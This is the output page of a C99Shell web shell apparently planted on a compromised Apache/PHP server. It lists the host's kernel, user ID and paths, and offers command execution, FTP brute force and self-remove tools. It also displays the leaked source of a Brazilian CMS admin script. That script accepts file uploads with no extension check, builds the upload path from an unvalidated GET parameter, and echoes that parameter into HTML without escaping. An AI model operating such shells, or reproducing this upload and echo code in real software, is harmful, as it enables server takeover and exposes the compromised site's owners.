!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/view/   drwxr-xr-x
Free 9.41 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     frameRevistaPaginas.php (5.33 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
/**
    *  iPanel Control Admin 3.0
    *  index.php
    *  Arquivo de Mostra de dados do Sistema
    *
    *  Pertencente ao pacote admin.view
    *
    *  Copyright (C) 2011  iMAXIS Soluções Digitais Ltda
    *  Autor: Cledson Lodi
    *
    *  Criado em 22/08/2012
    */
   
session_start();
   require_once(
"../app/core/config.php");
   require_once(
APP_PATH."/cms/restritoIPanel.php");
   require_once(
APP_PATH."/cms/functions.php");
   require_once(
APP_PATH."/cms/IPanelApp.php");
   require_once(
APP_PATH."/controller/GenericCtrl.php");
   require_once(
APP_PATH."/util/Util.php");
   require_once(
APP_PATH."/util/Data.php");


   
$util = new Util();
   
$data = new Data();

   
$ipanel = new IPanelApp();
   
$ipanel -> setMode("Detalhes");           // seta o modo da classe (Lista - Form)
   
$ipanel -> setArea($_GET['lc']);       // seta o local atual a ser mostrado
   
$ipanel -> setConfig();
   
$ipanel->setMenu();
   
$control = new GenericCtrl("RevistaPagina");
   
   if(
$_GET['action'] == "Form"){
       if(empty(
$_POST['id'])){
           
$pagina = new RevistaPagina();
       } else {
           
$pagina $control->getObject($_POST['id']);
       }      
       
$pagina->revId $_GET['revId'];
       
$pagina->nroPagina $_POST['nroPagina'];
       if(!empty(
$_FILES['imagem']['name'])){  
          
$originalExtension strrchr($_FILES['imagem']['name'], ".");
          
$extension strtolower($originalExtension);
          
$file $_POST['nroPagina'].$extension;
          
$pagina->imagem $file;
          
$caminho "../uploads/revistas/".$_GET['revId'];
          
move_uploaded_file($_FILES['imagem']['tmp_name'], $caminho."/".$file);
       }
       
$pagina->save();
   }
   
   if(
$_GET['action'] == "Delete"){
       
$pagina $control->getObject($_GET['id']);
       
$pagina->delete(); 
   }
   
   
$paginas $control->getObjectByField("revId"$_GET['revId'], falsefalsefalse"nroPagina");
?>
<link href="css/style.css" rel="stylesheet" type="text/css" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="../js/lytebox.js"></script>
<style type="text/css">
    .sptl_fieldname {
        float:left;
        width:20%;
        text-align:right;    
        }
    .input_field {
        float:left;
        width:60%;
        padding-right:0px;
        padding-left:15px;
        }
    .input_field input[type='text'], .input_field select {
        float:left;
        margin-right:10px;
        }
    .title_forms {
        margin-bottom:10px;
        }
    #flip-navigation {
        text-align:left;
        }
    .lt_topo {
        margin-bottom:20px;
        }
        html, body {
             background-image: none !important;
        }
</style>
<div class="lt" style="padding-bottom:0px!important;">
<div class="lt" style="padding:0px!important;background-color: #FFFFFF">
<div class="tool_list_top"></div>
    <div class="list_full">
        <table style="width:500px !important">
            <tr>
                <td>
                    <ul class="list_listing">
                        <li>
                            <div style="padding:10px"><strong>Páginas</strong></div>
                            <?php  if(count($paginas) > 0){ ?>
                            <table width="500px">
                                <tbody>
                                    <?php   foreach($paginas as $pagina){ ?>
                                        <tr>
                                            <td><strong>Página <?=  $util->addZeros($pagina['nroPagina'], 3?></strong></td>
                                            <td width="30px">
                                                <a href="../uploads/revistas/<?=  $_GET['revId'?>/<?=  $pagina['imagem'?>" rel='lytebox' title="Página <?=  $util->addZeros($pagina['nroPagina'], 3?>">
                                                    <img src="img/lupaFoto.png" title="Ampliar Imagem" border="0" align="left" />
                                                </a>
                                            </td>
                                            <td width="30px">
                                                <a href="javascript:if(confirm('Deseja realmente excluir esta página ?')){window.parent.frame_paginas.location ='frameRevistaPaginas.php?action=Delete&revId=<?=  $_GET['revId'?>&id=<?=  $pagina['id']?>'}" >
                                                    <img src="img/delFoto.png" title="Excluir Página" border="0" align="left" />
                                                </a>
                                            </td>
                                        </tr>
                                    <?php ?>
                                </tbody>
                            </table>
                            <?php   } else{ ?>
                                <div style="margin:15px;">Esta revista ainda não possui páginas cadastradas.<br/> </div>
                            <?php ?>
                        </li>
                     </ul>
                </td>
            </tr>
        </table>
           <div class="clear">
                <p class="left"><input name="Submit" type="Button" class="bt_input" value="Finalizar" onclick="window.parent.location ='../view/?lc=Revista&md=Lista'"/></p>
            </div>
    </div>
</div>
</div>
<div class="clear"></div>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0039 ]--